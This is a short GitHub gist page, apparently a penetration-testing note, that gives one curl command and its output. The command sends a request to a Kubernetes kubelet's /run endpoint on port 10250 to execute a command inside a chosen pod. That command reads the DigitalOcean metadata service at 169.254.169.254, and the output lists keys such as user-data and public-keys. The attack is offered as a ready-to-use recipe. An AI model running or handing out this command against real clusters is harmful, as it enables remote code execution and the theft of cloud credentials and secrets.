Skip to content

Instantly share code, notes, and snippets.

@random-robbie
Last active November 3, 2021 00:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save random-robbie/60ca8ec9b511c257ecd661b89d8351b2 to your computer and use it in GitHub Desktop.
Save random-robbie/60ca8ec9b511c257ecd661b89d8351b2 to your computer and use it in GitHub Desktop.

How to connect to Digital Ocean Metadata endpoint

Request

curl -sk https://IP:10250/run/NAMESPACE/POD/CONTAINERNAME -d "cmd=busybox wget -q -O - http://169.254.169.254/metadata/v1/"

Response


id
hostname
user-data
vendor-data
public-keys
region
interfaces/
dns/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment